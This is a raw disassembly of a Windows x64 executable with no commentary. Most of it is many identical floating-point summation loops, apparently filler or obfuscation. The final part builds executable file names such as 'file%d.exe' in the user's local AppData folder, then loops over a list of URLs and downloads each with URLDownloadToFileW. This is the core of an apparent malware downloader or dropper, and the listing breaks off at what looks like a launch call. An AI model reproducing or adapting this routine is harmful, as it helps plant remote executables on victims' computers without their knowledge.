movsd xmm1, qword [rsp + 0x50]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x50], xmm0
jmp 0x140006fae
mov qword [rsp + 0x188], 0
jmp 0x14000706d
mov rax, qword [rsp + 0x188]
inc rax
mov qword [rsp + 0x188], rax
lea rcx, [rsp + 0x58]
call fcn.14004ca60
cmp qword [rsp + 0x188], rax
jae 0x1400070f8
mov rdx, qword [rsp + 0x188]
lea rcx, [rsp + 0x58]
call fcn.140005060
movsd xmm0, qword [rax]
call fcn.1400590e0
movsd qword [rsp + 0x34d8], xmm0
lea rcx, [rsp + 0x58]
call fcn.14004ca60
sub rax, qword [rsp + 0x188]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.140005060
movsd xmm0, qword [rax]
call fcn.140056950
movsd xmm1, qword [rsp + 0x34d8]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x50]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x50], xmm0
jmp 0x14000705a
mov qword [rsp + 0x190], 0
jmp 0x140007119
mov rax, qword [rsp + 0x190]
inc rax
mov qword [rsp + 0x190], rax
lea rcx, [rsp + 0x58]
call fcn.14004ca60
cmp qword [rsp + 0x190], rax
jae 0x1400071a4
mov rdx, qword [rsp + 0x190]
lea rcx, [rsp + 0x58]
call fcn.140005060
movsd xmm0, qword [rax]
call fcn.1400590e0
movsd qword [rsp + 0x34e0], xmm0
lea rcx, [rsp + 0x58]
call fcn.14004ca60
sub rax, qword [rsp + 0x190]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.140005060
movsd xmm0, qword [rax]
call fcn.140056950
movsd xmm1, qword [rsp + 0x34e0]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x50]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x50], xmm0
jmp 0x140007106
mov qword [rsp + 0x198], 0
jmp 0x1400071c5
mov rax, qword [rsp + 0x198]
inc rax
mov qword [rsp + 0x198], rax
lea rcx, [rsp + 0x58]
call fcn.14004ca60
cmp qword [rsp + 0x198], rax
jae 0x140007250
mov rdx, qword [rsp + 0x198]
lea rcx, [rsp + 0x58]
call fcn.140005060
movsd xmm0, qword [rax]
call fcn.1400590e0
movsd qword [rsp + 0x34e8], xmm0
lea rcx, [rsp + 0x58]
call fcn.14004ca60
sub rax, qword [rsp + 0x198]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.140005060
movsd xmm0, qword [rax]
call fcn.140056950
movsd xmm1, qword [rsp + 0x34e8]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x50]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x50], xmm0
jmp 0x1400071b2
mov qword [rsp + 0x1a0], 0
jmp 0x140007271
mov rax, qword [rsp + 0x1a0]
inc rax
mov qword [rsp + 0x1a0], rax
lea rcx, [rsp + 0x58]
call fcn.14004ca60
cmp qword [rsp + 0x1a0], rax
jae 0x1400072fc
mov rdx, qword [rsp + 0x1a0]
lea rcx, [rsp + 0x58]
call fcn.140005060
movsd xmm0, qword [rax]
call fcn.1400590e0
movsd qword [rsp + 0x34f0], xmm0
lea rcx, [rsp + 0x58]
call fcn.14004ca60
sub rax, qword [rsp + 0x1a0]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.140005060
movsd xmm0, qword [rax]
call fcn.140056950
movsd xmm1, qword [rsp + 0x34f0]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x50]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x50], xmm0
jmp 0x14000725e
mov qword [rsp + 0x1a8], 0
jmp 0x14000731d
mov rax, qword [rsp + 0x1a8]
inc rax
mov qword [rsp + 0x1a8], rax
lea rcx, [rsp + 0x58]
call fcn.14004ca60
cmp qword [rsp + 0x1a8], rax
jae 0x1400073a8
mov rdx, qword [rsp + 0x1a8]
lea rcx, [rsp + 0x58]
call fcn.140005060
movsd xmm0, qword [rax]
call fcn.1400590e0
movsd qword [rsp + 0x34f8], xmm0
lea rcx, [rsp + 0x58]
call fcn.14004ca60
sub rax, qword [rsp + 0x1a8]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.140005060
movsd xmm0, qword [rax]
call fcn.140056950
movsd xmm1, qword [rsp + 0x34f8]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x50]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x50], xmm0
jmp 0x14000730a
mov qword [rsp + 0x1b0], 0
jmp 0x1400073c9
mov rax, qword [rsp + 0x1b0]
inc rax
mov qword [rsp + 0x1b0], rax
lea rcx, [rsp + 0x58]
call fcn.14004ca60
cmp qword [rsp + 0x1b0], rax
jae 0x140007454
mov rdx, qword [rsp + 0x1b0]
lea rcx, [rsp + 0x58]
call fcn.140005060
movsd xmm0, qword [rax]
call fcn.1400590e0
movsd qword [rsp + 0x3500], xmm0
lea rcx, [rsp + 0x58]
call fcn.14004ca60
sub rax, qword [rsp + 0x1b0]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.140005060
movsd xmm0, qword [rax]
call fcn.140056950
movsd xmm1, qword [rsp + 0x3500]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x50]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x50], xmm0
jmp 0x1400073b6
mov qword [rsp + 0x1b8], 0
jmp 0x140007475
mov rax, qword [rsp + 0x1b8]
inc rax
mov qword [rsp + 0x1b8], rax
lea rcx, [rsp + 0x58]
call fcn.14004ca60
cmp qword [rsp + 0x1b8], rax
jae 0x140007500
mov rdx, qword [rsp + 0x1b8]
lea rcx, [rsp + 0x58]
call fcn.140005060
movsd xmm0, qword [rax]
call fcn.1400590e0
movsd qword [rsp + 0x3508], xmm0
lea rcx, [rsp + 0x58]
call fcn.14004ca60
sub rax, qword [rsp + 0x1b8]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.140005060
movsd xmm0, qword [rax]
call fcn.140056950
movsd xmm1, qword [rsp + 0x3508]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x50]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x50], xmm0
jmp 0x140007462
mov qword [rsp + 0x1c0], 0
jmp 0x140007521
mov rax, qword [rsp + 0x1c0]
inc rax
mov qword [rsp + 0x1c0], rax
lea rcx, [rsp + 0x58]
call fcn.14004ca60
cmp qword [rsp + 0x1c0], rax
jae 0x1400075ac
mov rdx, qword [rsp + 0x1c0]
lea rcx, [rsp + 0x58]
call fcn.140005060
movsd xmm0, qword [rax]
call fcn.1400590e0
movsd qword [rsp + 0x3510], xmm0
lea rcx, [rsp + 0x58]
call fcn.14004ca60
sub rax, qword [rsp + 0x1c0]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.140005060
movsd xmm0, qword [rax]
call fcn.140056950
movsd xmm1, qword [rsp + 0x3510]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x50]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x50], xmm0
jmp 0x14000750e
mov qword [rsp + 0x1c8], 0
jmp 0x1400075cd
mov rax, qword [rsp + 0x1c8]
inc rax
mov qword [rsp + 0x1c8], rax
lea rcx, [rsp + 0x58]
call fcn.14004ca60
cmp qword [rsp + 0x1c8], rax
jae 0x140007658
mov rdx, qword [rsp + 0x1c8]
lea rcx, [rsp + 0x58]
call fcn.140005060
movsd xmm0, qword [rax]
call fcn.1400590e0
movsd qword [rsp + 0x3518], xmm0
lea rcx, [rsp + 0x58]
call fcn.14004ca60
sub rax, qword [rsp + 0x1c8]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.140005060
movsd xmm0, qword [rax]
call fcn.140056950
movsd xmm1, qword [rsp + 0x3518]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x50]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x50], xmm0
jmp 0x1400075ba
mov qword [rsp + 0x1d0], 0
jmp 0x140007679
mov rax, qword [rsp + 0x1d0]
inc rax
mov qword [rsp + 0x1d0], rax
lea rcx, [rsp + 0x58]
call fcn.14004ca60
cmp qword [rsp + 0x1d0], rax
jae 0x140007704
mov rdx, qword [rsp + 0x1d0]
lea rcx, [rsp + 0x58]
call fcn.140005060
movsd xmm0, qword [rax]
call fcn.1400590e0
movsd qword [rsp + 0x3520], xmm0
lea rcx, [rsp + 0x58]
call fcn.14004ca60
sub rax, qword [rsp + 0x1d0]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.140005060
movsd xmm0, qword [rax]
call fcn.140056950
movsd xmm1, qword [rsp + 0x3520]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x50]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x50], xmm0
jmp 0x140007666
mov qword [rsp + 0x1d8], 0
jmp 0x140007725
mov rax, qword [rsp + 0x1d8]
inc rax
mov qword [rsp + 0x1d8], rax
lea rcx, [rsp + 0x58]
call fcn.14004ca60
cmp qword [rsp + 0x1d8], rax
jae 0x1400077b0
mov rdx, qword [rsp + 0x1d8]
lea rcx, [rsp + 0x58]
call fcn.140005060
movsd xmm0, qword [rax]
call fcn.1400590e0
movsd qword [rsp + 0x3528], xmm0
lea rcx, [rsp + 0x58]
call fcn.14004ca60
sub rax, qword [rsp + 0x1d8]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.140005060
movsd xmm0, qword [rax]
call fcn.140056950
movsd xmm1, qword [rsp + 0x3528]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x50]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x50], xmm0
jmp 0x140007712
mov qword [rsp + 0x1e0], 0
jmp 0x1400077d1
mov rax, qword [rsp + 0x1e0]
inc rax
mov qword [rsp + 0x1e0], rax
lea rcx, [rsp + 0x58]
call fcn.14004ca60
cmp qword [rsp + 0x1e0], rax
jae 0x14000785c
mov rdx, qword [rsp + 0x1e0]
lea rcx, [rsp + 0x58]
call fcn.140005060
movsd xmm0, qword [rax]
call fcn.1400590e0
movsd qword [rsp + 0x3530], xmm0
lea rcx, [rsp + 0x58]
call fcn.14004ca60
sub rax, qword [rsp + 0x1e0]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.140005060
movsd xmm0, qword [rax]
call fcn.140056950
movsd xmm1, qword [rsp + 0x3530]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x50]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x50], xmm0
jmp 0x1400077be
mov qword [rsp + 0x1e8], 0
jmp 0x14000787d
mov rax, qword [rsp + 0x1e8]
inc rax
mov qword [rsp + 0x1e8], rax
lea rcx, [rsp + 0x58]
call fcn.14004ca60
cmp qword [rsp + 0x1e8], rax
jae 0x140007908
mov rdx, qword [rsp + 0x1e8]
lea rcx, [rsp + 0x58]
call fcn.140005060
movsd xmm0, qword [rax]
call fcn.1400590e0
movsd qword [rsp + 0x3538], xmm0
lea rcx, [rsp + 0x58]
call fcn.14004ca60
sub rax, qword [rsp + 0x1e8]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.140005060
movsd xmm0, qword [rax]
call fcn.140056950
movsd xmm1, qword [rsp + 0x3538]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x50]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x50], xmm0
jmp 0x14000786a
mov qword [rsp + 0x1f0], 0
jmp 0x140007929
mov rax, qword [rsp + 0x1f0]
inc rax
mov qword [rsp + 0x1f0], rax
lea rcx, [rsp + 0x58]
call fcn.14004ca60
cmp qword [rsp + 0x1f0], rax
jae 0x1400079b4
mov rdx, qword [rsp + 0x1f0]
lea rcx, [rsp + 0x58]
call fcn.140005060
movsd xmm0, qword [rax]
call fcn.1400590e0
movsd qword [rsp + 0x3540], xmm0
lea rcx, [rsp + 0x58]
call fcn.14004ca60
sub rax, qword [rsp + 0x1f0]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.140005060
movsd xmm0, qword [rax]
call fcn.140056950
movsd xmm1, qword [rsp + 0x3540]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x50]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x50], xmm0
jmp 0x140007916
mov qword [rsp + 0x1f8], 0
jmp 0x1400079d5
mov rax, qword [rsp + 0x1f8]
inc rax
mov qword [rsp + 0x1f8], rax
lea rcx, [rsp + 0x58]
call fcn.14004ca60
cmp qword [rsp + 0x1f8], rax
jae 0x140007a60
mov rdx, qword [rsp + 0x1f8]
lea rcx, [rsp + 0x58]
call fcn.140005060
movsd xmm0, qword [rax]
call fcn.1400590e0
movsd qword [rsp + 0x3548], xmm0
lea rcx, [rsp + 0x58]
call fcn.14004ca60
sub rax, qword [rsp + 0x1f8]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.140005060
movsd xmm0, qword [rax]
call fcn.140056950
movsd xmm1, qword [rsp + 0x3548]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x50]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x50], xmm0
jmp 0x1400079c2
mov qword [rsp + 0x200], 0
jmp 0x140007a81
mov rax, qword [rsp + 0x200]
inc rax
mov qword [rsp + 0x200], rax
lea rcx, [rsp + 0x58]
call fcn.14004ca60
cmp qword [rsp + 0x200], rax
jae 0x140007b0c
mov rdx, qword [rsp + 0x200]
lea rcx, [rsp + 0x58]
call fcn.140005060
movsd xmm0, qword [rax]
call fcn.1400590e0
movsd qword [rsp + 0x3550], xmm0
lea rcx, [rsp + 0x58]
call fcn.14004ca60
sub rax, qword [rsp + 0x200]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.140005060
movsd xmm0, qword [rax]
call fcn.140056950
movsd xmm1, qword [rsp + 0x3550]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x50]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x50], xmm0
jmp 0x140007a6e
mov qword [rsp + 0x208], 0
jmp 0x140007b2d
mov rax, qword [rsp + 0x208]
inc rax
mov qword [rsp + 0x208], rax
lea rcx, [rsp + 0x58]
call fcn.14004ca60
cmp qword [rsp + 0x208], rax
jae 0x140007bb8
mov rdx, qword [rsp + 0x208]
lea rcx, [rsp + 0x58]
call fcn.140005060
movsd xmm0, qword [rax]
call fcn.1400590e0
movsd qword [rsp + 0x3558], xmm0
lea rcx, [rsp + 0x58]
call fcn.14004ca60
sub rax, qword [rsp + 0x208]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.140005060
movsd xmm0, qword [rax]
call fcn.140056950
movsd xmm1, qword [rsp + 0x3558]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x50]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x50], xmm0
jmp 0x140007b1a
mov qword [rsp + 0x210], 0
jmp 0x140007bd9
mov rax, qword [rsp + 0x210]
inc rax
mov qword [rsp + 0x210], rax
lea rcx, [rsp + 0x58]
call fcn.14004ca60
cmp qword [rsp + 0x210], rax
jae 0x140007c64
mov rdx, qword [rsp + 0x210]
lea rcx, [rsp + 0x58]
call fcn.140005060
movsd xmm0, qword [rax]
call fcn.1400590e0
movsd qword [rsp + 0x3560], xmm0
lea rcx, [rsp + 0x58]
call fcn.14004ca60
sub rax, qword [rsp + 0x210]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.140005060
movsd xmm0, qword [rax]
call fcn.140056950
movsd xmm1, qword [rsp + 0x3560]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x50]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x50], xmm0
jmp 0x140007bc6
mov qword [rsp + 0x218], 0
jmp 0x140007c85
mov rax, qword [rsp + 0x218]
inc rax
mov qword [rsp + 0x218], rax
lea rcx, [rsp + 0x58]
call fcn.14004ca60
cmp qword [rsp + 0x218], rax
jae 0x140007d10
mov rdx, qword [rsp + 0x218]
lea rcx, [rsp + 0x58]
call fcn.140005060
movsd xmm0, qword [rax]
call fcn.1400590e0
movsd qword [rsp + 0x3568], xmm0
lea rcx, [rsp + 0x58]
call fcn.14004ca60
sub rax, qword [rsp + 0x218]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.140005060
movsd xmm0, qword [rax]
call fcn.140056950
movsd xmm1, qword [rsp + 0x3568]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x50]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x50], xmm0
jmp 0x140007c72
mov qword [rsp + 0x220], 0
jmp 0x140007d31
mov rax, qword [rsp + 0x220]
inc rax
mov qword [rsp + 0x220], rax
lea rcx, [rsp + 0x58]
call fcn.14004ca60
cmp qword [rsp + 0x220], rax
jae 0x140007dbc
mov rdx, qword [rsp + 0x220]
lea rcx, [rsp + 0x58]
call fcn.140005060
movsd xmm0, qword [rax]
call fcn.1400590e0
movsd qword [rsp + 0x3570], xmm0
lea rcx, [rsp + 0x58]
call fcn.14004ca60
sub rax, qword [rsp + 0x220]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.140005060
movsd xmm0, qword [rax]
call fcn.140056950
movsd xmm1, qword [rsp + 0x3570]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x50]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x50], xmm0
jmp 0x140007d1e
mov qword [rsp + 0x228], 0
jmp 0x140007ddd
mov rax, qword [rsp + 0x228]
inc rax
mov qword [rsp + 0x228], rax
lea rcx, [rsp + 0x58]
call fcn.14004ca60
cmp qword [rsp + 0x228], rax
jae 0x140007e68
mov rdx, qword [rsp + 0x228]
lea rcx, [rsp + 0x58]
call fcn.140005060
movsd xmm0, qword [rax]
call fcn.1400590e0
movsd qword [rsp + 0x3578], xmm0
lea rcx, [rsp + 0x58]
call fcn.14004ca60
sub rax, qword [rsp + 0x228]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.140005060
movsd xmm0, qword [rax]
call fcn.140056950
movsd xmm1, qword [rsp + 0x3578]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x50]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x50], xmm0
jmp 0x140007dca
mov qword [rsp + 0x230], 0
jmp 0x140007e89
mov rax, qword [rsp + 0x230]
inc rax
mov qword [rsp + 0x230], rax
lea rcx, [rsp + 0x58]
call fcn.14004ca60
cmp qword [rsp + 0x230], rax
jae 0x140007f14
mov rdx, qword [rsp + 0x230]
lea rcx, [rsp + 0x58]
call fcn.140005060
movsd xmm0, qword [rax]
call fcn.1400590e0
movsd qword [rsp + 0x3580], xmm0
lea rcx, [rsp + 0x58]
call fcn.14004ca60
sub rax, qword [rsp + 0x230]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.140005060
movsd xmm0, qword [rax]
call fcn.140056950
movsd xmm1, qword [rsp + 0x3580]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x50]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x50], xmm0
jmp 0x140007e76
mov qword [rsp + 0x238], 0
jmp 0x140007f35
mov rax, qword [rsp + 0x238]
inc rax
mov qword [rsp + 0x238], rax
lea rcx, [rsp + 0x58]
call fcn.14004ca60
cmp qword [rsp + 0x238], rax
jae 0x140007fc0
mov rdx, qword [rsp + 0x238]
lea rcx, [rsp + 0x58]
call fcn.140005060
movsd xmm0, qword [rax]
call fcn.1400590e0
movsd qword [rsp + 0x3588], xmm0
lea rcx, [rsp + 0x58]
call fcn.14004ca60
sub rax, qword [rsp + 0x238]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.140005060
movsd xmm0, qword [rax]
call fcn.140056950
movsd xmm1, qword [rsp + 0x3588]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x50]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x50], xmm0
jmp 0x140007f22
mov qword [rsp + 0x240], 0
jmp 0x140007fe1
mov rax, qword [rsp + 0x240]
inc rax
mov qword [rsp + 0x240], rax
lea rcx, [rsp + 0x58]
call fcn.14004ca60
cmp qword [rsp + 0x240], rax
jae 0x14000806c
mov rdx, qword [rsp + 0x240]
lea rcx, [rsp + 0x58]
call fcn.140005060
movsd xmm0, qword [rax]
call fcn.1400590e0
movsd qword [rsp + 0x3590], xmm0
lea rcx, [rsp + 0x58]
call fcn.14004ca60
sub rax, qword [rsp + 0x240]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.140005060
movsd xmm0, qword [rax]
call fcn.140056950
movsd xmm1, qword [rsp + 0x3590]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x50]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x50], xmm0
jmp 0x140007fce
mov qword [rsp + 0x248], 0
jmp 0x14000808d
mov rax, qword [rsp + 0x248]
inc rax
mov qword [rsp + 0x248], rax
lea rcx, [rsp + 0x58]
call fcn.14004ca60
cmp qword [rsp + 0x248], rax
jae 0x140008118
mov rdx, qword [rsp + 0x248]
lea rcx, [rsp + 0x58]
call fcn.140005060
movsd xmm0, qword [rax]
call fcn.1400590e0
movsd qword [rsp + 0x3598], xmm0
lea rcx, [rsp + 0x58]
call fcn.14004ca60
sub rax, qword [rsp + 0x248]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.140005060
movsd xmm0, qword [rax]
call fcn.140056950
movsd xmm1, qword [rsp + 0x3598]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x50]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x50], xmm0
jmp 0x14000807a
mov qword [rsp + 0x250], 0
jmp 0x140008139
mov rax, qword [rsp + 0x250]
inc rax
mov qword [rsp + 0x250], rax
lea rcx, [rsp + 0x58]
call fcn.14004ca60
cmp qword [rsp + 0x250], rax
jae 0x1400081c4
mov rdx, qword [rsp + 0x250]
lea rcx, [rsp + 0x58]
call fcn.140005060
movsd xmm0, qword [rax]
call fcn.1400590e0
movsd qword [rsp + 0x35a0], xmm0
lea rcx, [rsp + 0x58]
call fcn.14004ca60
sub rax, qword [rsp + 0x250]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.140005060
movsd xmm0, qword [rax]
call fcn.140056950
movsd xmm1, qword [rsp + 0x35a0]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x50]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x50], xmm0
jmp 0x140008126
mov qword [rsp + 0x258], 0
jmp 0x1400081e5
mov rax, qword [rsp + 0x258]
inc rax
mov qword [rsp + 0x258], rax
lea rcx, [rsp + 0x58]
call fcn.14004ca60
cmp qword [rsp + 0x258], rax
jae 0x140008270
mov rdx, qword [rsp + 0x258]
lea rcx, [rsp + 0x58]
call fcn.140005060
movsd xmm0, qword [rax]
call fcn.1400590e0
movsd qword [rsp + 0x35a8], xmm0
lea rcx, [rsp + 0x58]
call fcn.14004ca60
sub rax, qword [rsp + 0x258]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.140005060
movsd xmm0, qword [rax]
call fcn.140056950
movsd xmm1, qword [rsp + 0x35a8]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x50]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x50], xmm0
jmp 0x1400081d2
mov qword [rsp + 0x260], 0
jmp 0x140008291
mov rax, qword [rsp + 0x260]
inc rax
mov qword [rsp + 0x260], rax
lea rcx, [rsp + 0x58]
call fcn.14004ca60
cmp qword [rsp + 0x260], rax
jae 0x14000831c
mov rdx, qword [rsp + 0x260]
lea rcx, [rsp + 0x58]
call fcn.140005060
movsd xmm0, qword [rax]
call fcn.1400590e0
movsd qword [rsp + 0x35b0], xmm0
lea rcx, [rsp + 0x58]
call fcn.14004ca60
sub rax, qword [rsp + 0x260]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.140005060
movsd xmm0, qword [rax]
call fcn.140056950
movsd xmm1, qword [rsp + 0x35b0]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x50]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x50], xmm0
jmp 0x14000827e
mov qword [rsp + 0x268], 0
jmp 0x14000833d
mov rax, qword [rsp + 0x268]
inc rax
mov qword [rsp + 0x268], rax
lea rcx, [rsp + 0x58]
call fcn.14004ca60
cmp qword [rsp + 0x268], rax
jae 0x1400083c8
mov rdx, qword [rsp + 0x268]
lea rcx, [rsp + 0x58]
call fcn.140005060
movsd xmm0, qword [rax]
call fcn.1400590e0
movsd qword [rsp + 0x35b8], xmm0
lea rcx, [rsp + 0x58]
call fcn.14004ca60
sub rax, qword [rsp + 0x268]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.140005060
movsd xmm0, qword [rax]
call fcn.140056950
movsd xmm1, qword [rsp + 0x35b8]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x50]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x50], xmm0
jmp 0x14000832a
mov qword [rsp + 0x270], 0
jmp 0x1400083e9
mov rax, qword [rsp + 0x270]
inc rax
mov qword [rsp + 0x270], rax
lea rcx, [rsp + 0x58]
call fcn.14004ca60
cmp qword [rsp + 0x270], rax
jae 0x140008474
mov rdx, qword [rsp + 0x270]
lea rcx, [rsp + 0x58]
call fcn.140005060
movsd xmm0, qword [rax]
call fcn.1400590e0
movsd qword [rsp + 0x35c0], xmm0
lea rcx, [rsp + 0x58]
call fcn.14004ca60
sub rax, qword [rsp + 0x270]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.140005060
movsd xmm0, qword [rax]
call fcn.140056950
movsd xmm1, qword [rsp + 0x35c0]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x50]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x50], xmm0
jmp 0x1400083d6
mov qword [rsp + 0x278], 0
jmp 0x140008495
mov rax, qword [rsp + 0x278]
inc rax
mov qword [rsp + 0x278], rax
lea rcx, [rsp + 0x58]
call fcn.14004ca60
cmp qword [rsp + 0x278], rax
jae 0x140008520
mov rdx, qword [rsp + 0x278]
lea rcx, [rsp + 0x58]
call fcn.140005060
movsd xmm0, qword [rax]
call fcn.1400590e0
movsd qword [rsp + 0x35c8], xmm0
lea rcx, [rsp + 0x58]
call fcn.14004ca60
sub rax, qword [rsp + 0x278]
dec rax
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.140005060
movsd xmm0, qword [rax]
call fcn.140056950
movsd xmm1, qword [rsp + 0x35c8]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd xmm1, qword [rsp + 0x50]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x50], xmm0
jmp 0x140008482
mov qword [rsp + 0x280], 0
jmp 0x140008541
lea rcx, [rsp + 0x58]
call fcn.14004ca60
cmp qword [rsp + 0x280], rax
jae 0x1400085cc
lea rax, [rsp + 0x69e0]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x1c
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
jl 0x14004ab04
mov dword [rsp + 0x74], 0
jmp 0x14004aa37
mov eax, dword [rsp + 0x74]
inc eax
mov dword [rsp + 0x74], eax
mov eax, dword [rsp + 0x6c10]
cmp dword [rsp + 0x74], eax
jge 0x14004ab04
mov eax, dword [rsp + 0x74]
inc eax
mov dword [rsp + 0x20], eax
lea r9, [rsp + 0x69e0]
lea r8, str._s_file_d.exe
mov edx, 0x104
lea rcx, [rsp + 0x67d0]
call fcn.14004d130
movsxd rax, dword [rsp + 0x74]
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [rsp + 0x67d0]
mov rcx, qword [rsp + 0x6c08]
mov rdx, qword [rcx + rax*8]
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileW
mov dword [rsp + 0x33d8], eax
cmp dword [rsp + 0x33d8], 0
jl 0x14004aadd
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [rsp + 0x67d0]
lea rdx, [0x140074500]
